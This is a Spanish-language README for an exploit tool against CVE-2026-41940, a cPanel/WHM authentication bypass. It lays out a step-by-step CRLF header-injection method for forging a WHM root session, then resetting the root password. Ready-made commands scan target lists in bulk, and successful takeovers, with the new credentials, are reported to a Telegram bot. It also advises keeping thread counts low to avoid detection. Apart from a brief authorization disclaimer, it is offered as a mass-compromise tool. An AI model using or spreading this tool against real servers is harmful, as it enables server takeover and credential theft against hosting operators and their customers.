
Script de explotación para CVE-2026-41940, una omisión de autenticación en cPanel/WHM mediante inyección CRLF para obtener acceso de administrador y cambiar la contraseña de root, con escaneo multi-hilo y notificaciones por Telegram.
CVE-2026-41940 – Bypass de Autenticación cPanel/WHM + Cambiador de Contraseña Root Este script explota la vulnerabilidad de bypass de autenticación en cPanel/WHM (CVE-2026-41940) mediante una técnica de inyección CRLF para falsificar una sesión de administrador. Tras el éxito, el script puede cambiar la contraseña del usuario root en WHM y enviar notificaciones vía Telegram.
Advertencia: Úselo únicamente para pruebas de seguridad en sistemas que le pertenezcan o para los que tenga autorización por escrito. El uso indebido de este script para accesos ilegales infringe la ley.
📦 Instalación de Dependencias (PIP) Este script requiere Python 3.6+ y dos bibliotecas externas. Ejecute el siguiente comando:
pip install requests urllib3 requests – para enviar solicitudes HTTP flexibles
urllib3 – se usa para desactivar las advertencias SSL (certificado autofirmado)
Las demás bibliotecas (argparse, json, re, threading, concurrent.futures, etc.) ya están disponibles en la biblioteca estándar de Python.
🚀 Cómo Usarlo
(Opcional) Si desea notificaciones de Telegram, edite las dos líneas de la sección HARDCODE TELEGRAM dentro del script:
python TELEGRAM_BOT_TOKEN = 'token_bot_dari_BotFather' TELEGRAM_CHAT_ID = 'chat_id_anda_atau_group' Déjelas como están (: y -) si no desea notificaciones.
Sintaxis Básica bash python cve-2026-41940.py --target https://ip:2087 --password root123 python cve-2026-41940.py --targets-file targets.txt --password rahasia --threads 20 --output hasil.json python cve-2026-41940.py --target https://ip:2087 --check-only
Argumentos Disponibles Argumento ¿Obligatorio? Descripción --target uno de ellos Objetivo único, por ejemplo https://192.168.1.100:2087 o 192.168.1.100 (puerto predeterminado 2087) --targets-file uno de ellos Archivo de texto con la lista de objetivos (uno por línea, formato ip:port o URL completa) --password si no es --check-only Nueva contraseña para el usuario root de WHM --check-only no Solo comprueba si el objetivo es vulnerable, sin cambiar la contraseña --threads no (predeterminado 10) Número de hilos para la ejecución en paralelo --timeout no (predeterminado 15) Tiempo de espera de conexión HTTP (segundos) --output no Guarda los resultados (JSON) en un archivo Nota: El puerto 2087 para WHM (SSL) se añadirá automáticamente si no se especifica.
Ejemplos de Uso Comprobar la vulnerabilidad de un solo objetivo (solo prueba):
bash python cve-2026-41940.py --target https://203.0.113.10:2087 --check-only Explotar y cambiar la contraseña root a p4ssw0rd!:
bash python cve-2026-41940.py --target https://203.0.113.10:2087 --password p4ssw0rd! Escanear varios objetivos desde el archivo list.txt con 20 hilos y guardar los resultados en sukses.json:
bash python cve-2026-41940.py --targets-file list.txt --password MyNewPass123 --threads 20 --output sukses.json Ejemplo de contenido de list.txt:
text 192.168.1.1:2087 https://cpanel.example.com 203.0.113.99 5. Salida y Notificaciones Cada objetivo imprimirá su estado en pantalla: [+] éxito, [-] fallo, [!] error, [*] proceso.
Si se incluye --output, todos los resultados se guardarán en formato JSON.
Si se rellenan las credenciales de Telegram, la explotación exitosa enviará un mensaje como:
text ✅ SUCCESSFUL EXPLOIT ✅ ┌ Target: 203.0.113.10:2087 ├ Username: root ├ Password: MyNewPass123 ├ WHM Version: 122.0.19 └ Time: 2025-03-20 10:15:30 UTC ⚙️ Resumen del Funcionamiento Pre‑auth – Envía un inicio de sesión fallido para obtener la cookie whostmgrsession.
Inyección CRLF – Añade el payload Basic en el encabezado Authorization para insertar una línea de sesión falsa.
Propagación – Accede a /scripts2/listaccts para confirmar que la vulnerabilidad es explotable.
Verificación – Llama a json-api/version; si tiene éxito, puede acceder a WHM como root.
Cambio de Contraseña – Llama a la API passwd con los parámetros user=root y la nueva contraseña.
Notificación – Envía el resultado a Telegram (si el token está configurado).
⚠️ Notas Importantes El script no detecta la versión de cPanel/WHM directamente, pero mostrará la versión si está disponible.
Algunos objetivos pueden tener mod_security o WAF que bloqueen el payload. Use --threads no demasiado alto para evitar la detección.
Úselo siempre con permiso y responsabilidad moral.
Autor: dennisec (github.com/dennisec) Licencia: Solo uso educativo